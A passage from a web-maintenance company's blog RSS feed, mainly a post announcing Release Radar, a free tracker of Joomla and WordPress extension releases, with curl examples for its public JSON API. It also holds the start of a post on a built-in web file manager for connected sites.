</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>security</category><category>joomla</category><category>joomla 3</category><category>j2store</category><category>vulnerability</category><category>ecommerce</category><category>responsible disclosure</category><enclosure url="https://mysites.guru/img/og/blog/j2store-five-security-flaws-disclosure.png" length="0" type="image/png"/></item><item><title>Release Radar, a Free Joomla and WordPress Release Tracker</title><link>https://mysites.guru/blog/release-radar-joomla-wordpress-extension-releases/</link><guid isPermaLink="true">https://mysites.guru/blog/release-radar-joomla-wordpress-extension-releases/</guid><description>A free public log of new Joomla and WordPress extension releases, including the paid ones no plugin directory covers. RSS and JSON, no account needed.</description><pubDate>Tue, 01 Sep 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;FREE!!!! tldr? &lt;a href=&quot;https://releases.mysites.guru/&quot;&gt;https://releases.mySites.guru&lt;/a&gt; go there instead of reading.&lt;/p&gt;
&lt;p&gt;If a Joomla extension developer shipped a new version of their component this morning, how would you find out?&lt;/p&gt;
&lt;p&gt;Most people would not, at least not on purpose. They would find out the next time they opened a site’s update screen and saw a number sitting there. Or they would catch a forum post. Or an email would arrive from a mailing list they joined in 2019 and have filtered to a folder ever since.&lt;/p&gt;
&lt;p&gt;WordPress looks better served until you check. The wordpress.org plugins API does publish version and last-updated data, machine-readable, for the 71,000-odd plugins hosted in the directory, and it is useful. The plugin RSS feeds that people still recommend redirect to HTML pages now and return no feed at all. The bigger limit is that the directory covers free plugins only. Elementor Pro, ACF Pro, WP Rocket, Gravity Forms and the rest of the commercially distributed plugins have no directory entry, so the software agencies most depend on is the software with no release feed.&lt;/p&gt;
&lt;p&gt;Joomla has no equivalent for anything. Extensions there are distributed by their developers directly, each with its own update server, so there is no index to aggregate in the first place. The Joomla Extensions Directory tells you an extension exists; its “Recently Updated” page orders by edits to the listing rather than by releases, and the old &lt;code&gt;feeds.joomla.org&lt;/code&gt; extension feed stopped resolving years ago.&lt;/p&gt;
&lt;p&gt;We have been sitting on the answer for fourteen years and deleting it twice a day.&lt;/p&gt;
&lt;h2&gt;What Release Radar is&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://releases.mysites.guru/&quot;&gt;Release Radar&lt;/a&gt; is a free public log of new Joomla and WordPress extension, plugin and template releases. It is live now at &lt;code&gt;releases.mysites.guru&lt;/code&gt;, it needs no account, and it has an RSS feed and a JSON endpoint.&lt;/p&gt;
&lt;p&gt;Each entry records the extension name, the vendor, the version number, the date the release was first observed, and a link to the vendor’s own page. You can filter it to Joomla only or WordPress only, and you can look at a single vendor’s history.&lt;/p&gt;
&lt;p&gt;It also covers paid extensions, which nothing else does. Other public release sources read a central directory, so they see only what that directory holds, and commercial software sits outside it. Release Radar sees what real sites see.&lt;/p&gt;
&lt;figure&gt;&lt;div&gt;&lt;img src=&quot;https://mysites.guru/_astro/release-radar-public-log.D2b64UYm_2py6yW.webp&quot; alt=&quot;The Release Radar public log at releases.mysites.guru, showing counters for releases tracked, Joomla and WordPress, above a reverse-chronological list of extension releases with vendor names, version numbers and outbound links&quot; loading=&quot;lazy&quot; width=&quot;1200&quot; height=&quot;1451&quot; /&gt;&lt;/div&gt;&lt;figcaption&gt;The public log. Name, vendor, version, the date it first appeared, and a link to the vendor.&lt;/figcaption&gt;&lt;/figure&gt;
&lt;div&gt;&lt;p&gt;There is a second half, inside mySites.guru, that answers a different question.&lt;/p&gt;&lt;p&gt;The public log tells you what shipped. The Release Radar page in your mySites.guru account tells you what shipped &lt;em&gt;for the software you actually run&lt;/em&gt;, across your whole portfolio, and how many of your sites run each of them.&lt;/p&gt;&lt;p&gt;That page is part of the subscription.&lt;/p&gt;&lt;/div&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2x&lt;/div&gt;&lt;div&gt;Snapshots per day&lt;/div&gt;&lt;div&gt;of every connected site&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;100,000+&lt;/div&gt;&lt;div&gt;Site connections daily&lt;/div&gt;&lt;div&gt;across 90,000+ connected sites&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;div&gt;Checks before publishing&lt;/div&gt;&lt;div&gt;corroboration, novelty, lineage&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;0&lt;/div&gt;&lt;div&gt;Extra vendor requests&lt;/div&gt;&lt;div&gt;nothing new is fetched from vendors&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Release Radar is built from update checks the platform already performs.&lt;/p&gt;&lt;/div&gt;
&lt;h2&gt;Where does the release data come from?&lt;/h2&gt;
&lt;p&gt;Every site connected to mySites.guru asks its own vendors, twice a day, what updates are available for the software installed on it. That check uses the site’s own licence key, from the site’s own IP address, against the vendor’s own update feed. It is what the site would do by itself if somebody clicked the update button in the admin.&lt;/p&gt;
&lt;p&gt;We snapshot connected sites twice a day, which works out at over 100,000 site connections daily across the 90,000+ sites connected to mySites.guru. Until now, when a site came back and said “there are six updates waiting, here is what they are”, the platform reduced that answer to the number six and discarded the rest. Six is what the dashboard needed. The detail went in the bin, twice a day, for years.&lt;/p&gt;
&lt;p&gt;Release Radar keeps the detail. Each distinct release is recorded once, with the earliest date any connected site saw it.&lt;/p&gt;
&lt;h3&gt;One other source, for speed rather than breadth&lt;/h3&gt;
&lt;p&gt;There is a second input. A connected site only reports a release once it polls its own update feed and turns out to be behind, and a full pass over every connected site takes about ten hours. wordpress.org’s own plugin registry knows within minutes.&lt;/p&gt;
&lt;p&gt;So Release Radar polls that registry once an hour and folds in what it finds, with one restriction: a plugin no connected site runs is dropped on the spot. wordpress.org lists more than 71,000 plugins and this is not an attempt to mirror them. What the registry buys is latency, not breadth. For a wordpress.org-hosted plugin that connected sites already run, it closes a gap measured at between five and twelve hours down to under one.&lt;/p&gt;
&lt;p&gt;Joomla has no equivalent to poll, so Joomla releases still arrive at the speed of mySites.guru’s own update checks.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;This is not a scraper&lt;/p&gt;&lt;div&gt;&lt;p&gt;Release Radar makes no requests to any vendor’s server. Every observation from a connected site is a by-product of a check that was already happening for that site’s own benefit, and the one first-party source it does poll, wordpress.org’s public plugin API, is a single page an hour. Crawling vendor download pages would have produced comparable data, a real support burden for the developers on the other end, and a scraper that broke every time somebody changed a page template.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2&gt;How do we know a release is real, and actually new?&lt;/h2&gt;
&lt;p&gt;A mySites.guru connector reports what its site tells it. If a site is compromised, or somebody has been editing files by hand, or an extension is misconfigured, that site can report an extension name and a version number that are complete fiction. Separately, a site that has not been scanned for a while reports everything it is behind on at once, most of which shipped months ago.&lt;/p&gt;
&lt;p&gt;Three checks sit between an observation and the public log, and each one catches something the other two miss.&lt;/p&gt;
&lt;h3&gt;Corroboration&lt;/h3&gt;
&lt;p&gt;One site making a claim is a claim. Two unrelated customers, on different infrastructure, independently reporting the same extension at the same version, is a fact. So a release reaches the public log once two distinct customer accounts have seen it, or once wordpress.org’s own registry confirms that exact plugin and version exists. A first-party registry cannot be somebody’s hacked connector, which is the only thing the customer count was ever defending against.&lt;/p&gt;
&lt;p&gt;This costs a little latency on obscure software, and for a commercial extension that only one customer in the world runs it means the release never publishes at all. We took that trade on purpose. A public log whose worst failure mode is “occasionally slow” is worth considerably more than one whose worst failure mode is “a single hacked site put a fake extension on a public website”.&lt;/p&gt;
&lt;h3&gt;Novelty&lt;/h3&gt;
&lt;p&gt;Corroboration proves a version exists. It says nothing about whether it is new, and that turned out to be the bigger problem.&lt;/p&gt;
&lt;p&gt;Because the platform only records a release when a site is behind on it, a site that connects after a long gap reports its whole backlog at once, and every version in it the corpus has not seen looks like news. On one morning during testing a single site created thirteen releases inside one second, one of them a build that hundreds of other connected sites were already running.&lt;/p&gt;
&lt;p&gt;The evidence needed to catch that was already sitting there. mySites.guru records every build every connected site runs, so “was anybody already running this before we first saw it offered?” is one indexed lookup. Applied to the releases published on the last day before this check existed, it caught 78% of them, in 18 milliseconds.&lt;/p&gt;
&lt;h3&gt;Lineage&lt;/h3&gt;
&lt;p&gt;The last check is the one nothing else asks. Joomla update feeds are branched by target platform, so a site on an old Joomla release is offered a maximum version that a site on a current one never sees. Two such sites are two customers, which clears corroboration, and the version is still absent from every site we can see, which clears novelty. A thoroughly superseded release passes both and arrives at the top of a feed of new releases.&lt;/p&gt;
&lt;p&gt;So a release is also checked against the newest version already held on its own line, matched on the major version and on the branch tag that vendors write into the version string. It has to be both. “Never publish below the highest version we have ever seen” would suppress the security releases vendors ship on old branches, and a customer stuck on an old branch needs those more than anyone.&lt;/p&gt;
&lt;p&gt;A release that fails any of the three is held for review rather than rejected, with the reason attached. Branch tags are vendor prose and this will read one wrong eventually, so the failure has to be recoverable.&lt;/p&gt;
&lt;p&gt;The same reasoning runs through the rest of the feature. Release Radar’s only real claim is that its facts are facts, so each design argument gets settled in favour of claiming less.&lt;/p&gt;
&lt;h2&gt;What Release Radar will not tell you&lt;/h2&gt;
&lt;p&gt;A log like this is easy to over-read, so here are its limits.&lt;/p&gt;
&lt;h3&gt;Not a complete index&lt;/h3&gt;
&lt;p&gt;Release Radar only sees software installed on at least one connected site. An extension no one in the connected estate runs is invisible to it. What that filter leaves behind is software in live production use across a large number of real agency-managed sites, which is a reasonable working definition of the releases that matter. Treat it as a wide view of the ecosystem rather than a census of it.&lt;/p&gt;
&lt;h3&gt;No changelog text&lt;/h3&gt;
&lt;p&gt;Release Radar publishes the name, the vendor, the version, the date and a link. Changelog text is the vendor’s own copyright and belongs on the vendor’s own page. Republishing it would also put two pages in competition for the same search results, which helps neither the vendor nor the reader.&lt;/p&gt;
&lt;h3&gt;No back catalogue&lt;/h3&gt;
&lt;p&gt;The log starts on 1 September 2026 and fills forwards. Anything first seen before then is kept internally and never shown.&lt;/p&gt;
&lt;p&gt;The reason is slightly counterintuitive. The platform records a release only when a site is &lt;em&gt;behind&lt;/em&gt; on it, so the first harvest after deployment ingests the accumulated backlog of the whole connected estate at once rather than discovering anything new, and each of those rows would be stamped with the date it was imported. A release from 2021 would appear on the front page dated this morning, which would have made every date on the page meaningless.&lt;/p&gt;
&lt;p&gt;That cut-off was originally calculated rather than fixed: a rolling window that opened a week after the earliest record. It had one fatal property, which is that rebuilding the corpus reset it. The corpus was rebuilt several times over two days while the way releases are identified was being corrected, and each rebuild pushed the window another week into the future. A guarantee that moves whenever the data is repaired is not a guarantee, so it became a fixed date instead.&lt;/p&gt;
&lt;p&gt;The accepted cost is that a release which shipped before that date is invisible for good, which errs towards claiming less.&lt;/p&gt;
&lt;h3&gt;No judgement on vendors&lt;/h3&gt;
&lt;p&gt;Release Radar reports what shipped. It draws no conclusions about how, or whether, a vendor announced it.&lt;/p&gt;
&lt;h2&gt;BONUS: mySites.guru subscribers get their own Release Radar, specific to the products running on their sites&lt;/h2&gt;
&lt;p&gt;The public log answers “what shipped this week”. Your account answers “what shipped for the software I actually run”.&lt;/p&gt;
&lt;p&gt;The Release Radar page inside mySites.guru shows new versions of the extensions, plugins, themes and templates your own sites run, matched on the extension itself rather than on whether you happen to be behind on it. That distinction is the entire point of the page.&lt;/p&gt;
&lt;figure&gt;&lt;div&gt;&lt;img src=&quot;https://mysites.guru/_astro/release-radar-subscriber-page.GDNLHQdE_p5hDd.webp&quot; alt=&quot;The Release Radar page inside mySites.guru, showing counters for new releases, releases seen, extensions tracked and vendors, above a table of releases for software the account runs with the number of the account&apos;s own sites running each one&quot; loading=&quot;lazy&quot; width=&quot;1600&quot; height=&quot;1009&quot; /&gt;&lt;/div&gt;&lt;figcaption&gt;The subscriber view: the same log, narrowed to software your own sites run, with a count of how many of them run it.&lt;/figcaption&gt;&lt;/figure&gt;
&lt;p&gt;Consider the agency that keeps everything patched. A list of what you are behind on shows them an empty page, because there is nothing to be behind on, and an empty page tells them nothing at all. Matching on the extension is what tells a diligent agency that Akeeba shipped something yesterday and their sites have already taken it.&lt;/p&gt;
&lt;p&gt;The page stops there on purpose rather than becoming a second work queue. “Which of my sites need updating” is what the Updates page already answers, and it sits one click away in the header. Two features answering one question is worse than one.&lt;/p&gt;
&lt;p&gt;It applies no moderation filter either. A release that has yet to clear the checks for public publication is still real software sitting on your server, and hiding it from you would be the wrong call.&lt;/p&gt;
&lt;p&gt;From there the rest of mySites.guru is already wired up: &lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;bulk updates across your sites at once&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/automatic-updates-for-any-joomla-extension/&quot;&gt;per-extension auto-updates&lt;/a&gt; if you trust a given vendor to ship safely, and the &lt;a href=&quot;https://mysites.guru/blog/update-queue-one-at-a-time-per-server/&quot;&gt;update queue&lt;/a&gt; if you would rather not fire two hundred updates at one shared server simultaneously.&lt;/p&gt;
&lt;h2&gt;How do I follow Release Radar?&lt;/h2&gt;
&lt;h3&gt;RSS&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;https://releases.mysites.guru/feed.xml&lt;/code&gt; has the 50 most recent releases. Any reader will take it, and so will most chat tools if you want new releases dropping into a team channel.&lt;/p&gt;
&lt;h3&gt;JSON&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;https://releases.mysites.guru/api/releases.json&lt;/code&gt; returns the same data for scripts:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;# Everything, most recent first&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;curl&lt;/span&gt;&lt;span&gt; -s&lt;/span&gt;&lt;span&gt; https://releases.mysites.guru/api/releases.json&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;# Joomla only, 200 rows, one vendor&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;curl&lt;/span&gt;&lt;span&gt; -s&lt;/span&gt;&lt;span&gt; &quot;&lt;/span&gt;&lt;span&gt;https://releases.mysites.guru/api/releases.json?platform=joomla&amp;amp;limit=200&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;curl&lt;/span&gt;&lt;span&gt; -s&lt;/span&gt;&lt;span&gt; &quot;&lt;/span&gt;&lt;span&gt;https://releases.mysites.guru/api/releases.json?vendor=Akeeba%20Ltd&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;No key, no rate-limit dance, and permissive CORS headers so a browser page can fetch it directly. &lt;code&gt;limit&lt;/code&gt; caps at 200. An unrecognised &lt;code&gt;platform&lt;/code&gt; value returns an error instead of dropping the filter with no warning, so a typo in your script announces itself.&lt;/p&gt;
&lt;h3&gt;MCP&lt;/h3&gt;
&lt;p&gt;Subscribers with the &lt;a href=&quot;https://mysites.guru/blog/manage-every-site-from-claude-desktop/&quot;&gt;mySites.guru MCP server&lt;/a&gt; connected get a &lt;code&gt;list_releases&lt;/code&gt; tool, so you can ask an AI assistant what shipped this week and have it cross-reference against your own sites in the same breath.&lt;/p&gt;
&lt;h2&gt;The paid extensions nothing else tracks&lt;/h2&gt;
&lt;p&gt;Public release trackers work by reading a central directory, which caps what they can see at whatever the directory holds. On wordpress.org that means free plugins. On the Joomla side it means nothing at all, because there is no central update index to read. Commercial extensions sit outside that model: they ship from the vendor’s own update server, behind a licence key, and a crawler holding no licence sees nothing.&lt;/p&gt;
&lt;p&gt;Release Radar approaches it from the other end, reading what real sites got back when they asked their own vendors, using their own paid licences. A commercial Joomla component sold by subscription, a premium WordPress plugin sold from the developer’s own store, a template framework licensed per-domain: if it is installed on connected sites and it shipped a new version, it appears. The wordpress.org registry is read too, but only ever to hear about a free plugin sooner than the connected sites would have told us, and never to decide what belongs in the log.&lt;/p&gt;
&lt;p&gt;That is also why the log skews the way it does. Widely-installed commercial software shows up quickly, because plenty of connected sites run it and their update checks agree. Obscure free extensions appear slowly or not at all. For an agency deciding what to test this week, that is the right bias.&lt;/p&gt;
&lt;p&gt;Vendor communication is a separate problem and Release Radar does not solve it. An extension can still &lt;a href=&quot;https://mysites.guru/blog/helix3-security-update-changelog-failure/&quot;&gt;ship a security fix with a three-word changelog&lt;/a&gt;, leaving the people running it with &lt;a href=&quot;https://mysites.guru/blog/we-are-not-the-only-ones-auditing-joomla-extensions/&quot;&gt;no realistic way of finding out&lt;/a&gt; what changed. What the log fixes is narrower: being able to see that &lt;em&gt;something&lt;/em&gt; changed at all.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;A new version is not the same as a security fix&lt;/p&gt;&lt;div&gt;&lt;p&gt;Release Radar tells you a version shipped. It does not tell you why. For known-vulnerable versions, the &lt;a href=&quot;https://mysites.guru/vulnerabilities/&quot;&gt;Joomla Vulnerable Extensions List&lt;/a&gt; and the &lt;a href=&quot;https://mysites.guru/vulnerabilities/cve/&quot;&gt;CVE index&lt;/a&gt; are the right tools, and mySites.guru matches those rules against what is actually installed on your sites rather than leaving you to cross-reference by hand.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2&gt;What is not there yet&lt;/h2&gt;
&lt;p&gt;Joomla has no registry to poll, so a Joomla release only appears once connected sites have polled their own update feeds and reported it. That is hours rather than minutes, and there is no way to shorten it that does not involve crawling vendors, which is the one thing this was built to avoid.&lt;/p&gt;
&lt;p&gt;WordPress themes are inventoried now, and Joomla templates always were, but a theme release cannot be confirmed against wordpress.org the way a plugin release can. Themes wait for the connected sites, the same as Joomla does.&lt;/p&gt;
&lt;p&gt;The vendor name used to be missing on a large share of entries, because the name a vendor puts in an update feed and the name that ends up in a site’s installed-extensions table are frequently different strings: one Joomla extension arrives from its feed as “Admin Tools Professional package” and sits in the database as “Admintools”. Matching on the extension’s own identifier instead of its name fixed that, and every release published so far shows a vendor. Sites running an older connector build do not send that identifier yet, so the occasional entry will still appear without one until those sites update.&lt;/p&gt;
&lt;p&gt;None of these affects the accuracy of what is published. A release that appears is a release that was corroborated, tested against what the connected sites already run, and checked against its own version line.&lt;/p&gt;
&lt;h2&gt;Try it&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://releases.mysites.guru/&quot;&gt;releases.mysites.guru&lt;/a&gt; is open now. No account, no email address, no cookie wall.&lt;/p&gt;
&lt;p&gt;If you manage more than a handful of Joomla or WordPress sites and you want the version of this that knows which of &lt;em&gt;your&lt;/em&gt; sites are affected, that is &lt;a href=&quot;https://mysites.guru/features/&quot;&gt;what mySites.guru does&lt;/a&gt;, and there is a &lt;a href=&quot;https://mysites.guru/blog/how-to-get-mysites-guru-for-free-for-a-whole-month/&quot;&gt;free month&lt;/a&gt; to try it on your own portfolio.&lt;/p&gt;&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://extensions.joomla.org/&quot;&gt;Joomla Extensions Directory&lt;/a&gt; - the official Joomla extension catalogue, useful for finding an extension but not for tracking its releases.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://wordpress.org/plugins/&quot;&gt;WordPress Plugin Directory&lt;/a&gt; - publishes version and last-updated data for plugins hosted on wordpress.org, though not for commercially distributed ones.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://vel.joomla.org/&quot;&gt;Joomla Vulnerable Extensions List&lt;/a&gt; - the community list of known-vulnerable Joomla extensions.&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>releases</category><category>joomla</category><category>wordpress</category><category>extensions</category><category>plugins</category><category>updates</category><category>agency-tools</category><enclosure url="https://mysites.guru/img/og/blog/release-radar-joomla-wordpress-extension-releases.png" length="0" type="image/png"/></item><item><title>A Web File Manager for Your Joomla and WordPress Sites</title><link>https://mysites.guru/blog/web-file-manager-for-joomla-and-wordpress/</link><guid isPermaLink="true">https://mysites.guru/blog/web-file-manager-for-joomla-and-wordpress/</guid><description>mySites.guru now includes a secure, opt-in web file manager for Joomla and WordPress: browse, edit, upload and delete files with no SFTP client needed.</description><pubDate>Sat, 29 Aug 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Touching a live site’s disk has, until now, meant leaving the tool built for security audits and reaching for a completely different, unaudited channel instead: SFTP credentials to dig up, a separate client cPanel login to remember, a five-minute fix that stops being five minutes the moment you have to go and find the tool for it first.&lt;/p&gt;
&lt;p&gt;A file manager built into the same dashboard closes that gap. There’s no separate app to open and no fresh credential to request, borrow, or forget to revoke later, so a quick permission fix or a one-line edit stays a quick permission fix instead of turning into a ticket that sits in a queue until someone remembers the client’s FTP password. For an agency running mySites.guru across dozens or hundreds of sites, that’s real time back, not just tidiness: one login already behind two-factor authentication, one jailed connection to the site instead of a raw FTP account with no audit trail of its own, and one activity log that already knows who touched what and when, rather than whatever your host’s own logging happens to catch. Checking a file, fixing a typo, or pulling a suspicious upload off a site stays inside the same window you were already working in, which is what actually makes it quick.&lt;/p&gt;
&lt;h2&gt;What the New File Manager Does&lt;/h2&gt;
&lt;p&gt;mySites.guru now includes a full web-based file manager for your connected Joomla and WordPress sites: browse folders, preview and edit files, upload new ones, create folders, rename things, change permissions, and delete files and folders, all from inside the dashboard you already use for audits, backups and updates. It talks to your site through the same connector every other mySites.guru tool already uses, so there is nothing new to install. The result is close to having full FTP access to every site you manage, but fully integrated: no separate client, no credentials to keep track of, and available any time with two taps of f (for File Manager) on the keyboard.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;Not the same File Manager you might already know&lt;/p&gt;&lt;div&gt;&lt;p&gt;If you’ve used mySites.guru to fix a hacked site, you’ve probably already clicked “edit” or “delete” on a single flagged file inside an audit’s results. That single-file action still works exactly as it did. This is different: a full browser for your entire site root that needs its own permission, not just the files an audit has flagged.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;div&gt;&lt;p&gt;&lt;img src=&quot;https://mysites.guru/_astro/web-file-manager-audit-flags-screenshot.C2XS6XJt_2tx4xo.webp&quot; srcset=&quot;https://mysites.guru/_astro/web-file-manager-audit-flags-screenshot.C2XS6XJt_2vdWJd.webp 640w, https://mysites.guru/_astro/web-file-manager-audit-flags-screenshot.C2XS6XJt_Z1oqG5g.webp 750w, https://mysites.guru/_astro/web-file-manager-audit-flags-screenshot.C2XS6XJt_GjdN0.webp 828w, https://mysites.guru/_astro/web-file-manager-audit-flags-screenshot.C2XS6XJt_Z2567Wp.webp 1080w, https://mysites.guru/_astro/web-file-manager-audit-flags-screenshot.C2XS6XJt_Z1Nm64e.webp 1280w, https://mysites.guru/_astro/web-file-manager-audit-flags-screenshot.C2XS6XJt_Z23q4So.webp 1668w, https://mysites.guru/_astro/web-file-manager-audit-flags-screenshot.C2XS6XJt_1un768.webp 2048w, https://mysites.guru/_astro/web-file-manager-audit-flags-screenshot.C2XS6XJt_2tx4xo.webp 2400w&quot; alt=&quot;The mySites.guru File Manager browsing a Joomla site&apos;s PHP-Malware-Collection test folder, with known webshells like b374k.php flagged red as &amp;quot;Hacked&amp;quot; and the rest flagged amber as &amp;quot;Suspect content&amp;quot;&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 2400px) 2400px, 100vw&quot; width=&quot;2400&quot; height=&quot;1040&quot; /&gt;&lt;/p&gt;&lt;/div&gt;
&lt;p&gt;The two tools share the same audit data, so browsing straight into a folder that already has flagged files shows exactly what the audit found: a red “Hacked” badge on something the suspect-content model already recognises as malicious, amber “Suspect content” badges on the rest. You don’t lose the audit’s judgement just because you’ve opened the general-purpose browser instead of the flagged-file list.&lt;/p&gt;
&lt;p&gt;It is off by default, per site, and available on Joomla 3, Joomla 4, Joomla 5, Joomla 6 and WordPress. Sites connected with the Generic PHP connector don’t have the file manager’s connector endpoint yet, so the feature stays hidden for them until one exists.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;Now on Joomla 3 and Joomla 4 as well&lt;/p&gt;&lt;div&gt;&lt;p&gt;We have now backported the File Manager to Joomla 3 and 4 sites with additional security and controls for those end of life versions on end of life PHP versions.&lt;/p&gt;&lt;p&gt;It shipped first for Joomla 5, Joomla 6 and WordPress. &lt;a href=&quot;https://joomla3security.com/&quot;&gt;Joomla 3&lt;/a&gt; is the single largest group of sites we look after, so a tool for keeping an eye on a site’s files was missing from exactly the sites most likely to need it.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2&gt;Where to Find It in mySites.guru&lt;/h2&gt;
&lt;p&gt;It lives on the same Manage tab as the tools you already use. Open a connected site, click Manage, and File Manager sits in that dropdown alongside Backup, Update, and Plugins.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;&lt;img src=&quot;https://mysites.guru/_astro/web-file-manager-manage-tab-location-screenshot.Cb_xN-mA_Zmp8hY.webp&quot; srcset=&quot;https://mysites.guru/_astro/web-file-manager-manage-tab-location-screenshot.Cb_xN-mA_Z1kmAAv.webp 640w, https://mysites.guru/_astro/web-file-manager-manage-tab-location-screenshot.Cb_xN-mA_1LO87Y.webp 750w, https://mysites.guru/_astro/web-file-manager-manage-tab-location-screenshot.Cb_xN-mA_24H7zl.webp 828w, https://mysites.guru/_astro/web-file-manager-manage-tab-location-screenshot.Cb_xN-mA_ZihEcw.webp 1080w, https://mysites.guru/_astro/web-file-manager-manage-tab-location-screenshot.Cb_xN-mA_GHjY.webp 1280w, https://mysites.guru/_astro/web-file-manager-manage-tab-location-screenshot.Cb_xN-mA_Zmp8hY.webp 1542w&quot; alt=&quot;The mySites.guru Manage tab dropdown for a site, listing Backup, Update, Plugins and File Manager as options&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1542px) 1542px, 100vw&quot; width=&quot;1542&quot; height=&quot;684&quot; /&gt;&lt;/p&gt;&lt;/div&gt;
&lt;p&gt;There’s no separate app to install and no new part of the dashboard to learn. It’s one more entry in the same menu you already open to run an update or check a backup.&lt;/p&gt;
&lt;p&gt;Prefer the keyboard? From the Manage Site page, from any audit or tool page for that site, or from its Learn More screen, pressing f twice (keyboard shortcut: f f) jumps straight to the File Manager tab, no menu required. The full shortcut list lives on the &lt;a href=&quot;https://manage.mysites.guru/en/help/keyboardshortcuts&quot;&gt;Keyboard Shortcuts page&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Browsing, Editing, Uploading and Deleting Files&lt;/h2&gt;
&lt;p&gt;Once it’s switched on for a site, the File Manager gives you a folder tree and file listing rendered straight from the live server, with the same kind of interface you’d expect from an SFTP client, but without the client.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;&lt;img src=&quot;https://mysites.guru/_astro/web-file-manager-browser-screenshot.BMsSbCvc_Zx8jo9.webp&quot; srcset=&quot;https://mysites.guru/_astro/web-file-manager-browser-screenshot.BMsSbCvc_Z22BL4Q.webp 640w, https://mysites.guru/_astro/web-file-manager-browser-screenshot.BMsSbCvc_1QI3NV.webp 750w, https://mysites.guru/_astro/web-file-manager-browser-screenshot.BMsSbCvc_BdivJ.webp 828w, https://mysites.guru/_astro/web-file-manager-browser-screenshot.BMsSbCvc_Di1ia.webp 1080w, https://mysites.guru/_astro/web-file-manager-browser-screenshot.BMsSbCvc_21hQOp.webp 1280w, https://mysites.guru/_astro/web-file-manager-browser-screenshot.BMsSbCvc_ZGEwnJ.webp 1668w, https://mysites.guru/_astro/web-file-manager-browser-screenshot.BMsSbCvc_1QoQ1j.webp 2048w, https://mysites.guru/_astro/web-file-manager-browser-screenshot.BMsSbCvc_Zx8jo9.webp 2400w&quot; alt=&quot;The mySites.guru File Manager showing a WordPress site&apos;s file listing, with an Audit column marking core files and a red-flagged 0666 permission on wp-config.php&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 2400px) 2400px, 100vw&quot; width=&quot;2400&quot; height=&quot;1967&quot; /&gt;&lt;/p&gt;&lt;/div&gt;
&lt;p&gt;It works on the files that are actually on your server right now, not the picture your last audit took of them, which is why every row also has a live Audit column: “Core file” for something the audit already recognises as untouched, “Not audited” for anything it hasn’t seen yet, and, where it applies, the same “Suspect content” or “Hacked” flags the audit itself would show you. Permissions get the same treatment. An ordinary 0644 or 0755 renders in green; something like a world-writable 0666 on &lt;code&gt;wp-config.php&lt;/code&gt; is flagged in red the moment the listing loads, before you’ve clicked anything.&lt;/p&gt;
&lt;p&gt;From there:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Off by default. Every site starts with the File Manager switched off, and it stays that way until you turn it on yourself.&lt;/li&gt;
&lt;li&gt;Browse and preview any folder in the webroot, with file size, permissions and modification date shown per row.&lt;/li&gt;
&lt;li&gt;Open and edit text-based files (PHP, JS, CSS, .htaccess, config files, templates) directly in the browser and save the change straight back to the server.&lt;/li&gt;
&lt;li&gt;Upload new files into any folder, or overwrite an existing one, without an SFTP client.&lt;/li&gt;
&lt;li&gt;Create folders and rename files or folders in place.&lt;/li&gt;
&lt;li&gt;Change permissions on a file or folder, the chmod action every SFTP client has, without the SFTP client. This depends on your host letting PHP itself change permissions; where a host locks that down, the option is still there but the underlying chmod call fails the same way it would from any other PHP-based tool.&lt;/li&gt;
&lt;li&gt;Delete files and folders, individually or as a batch.&lt;/li&gt;
&lt;li&gt;List the contents of a zip file before you decide whether to extract or discard it, useful for checking what a plugin or template package actually contains before it touches your live site.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Every one of those is a real command sent to your site’s connector and executed there. Nothing is simulated, and nothing is queued for later: what you see is what’s on disk right now.&lt;/p&gt;
&lt;h2&gt;What Happens When You Delete a File?&lt;/h2&gt;
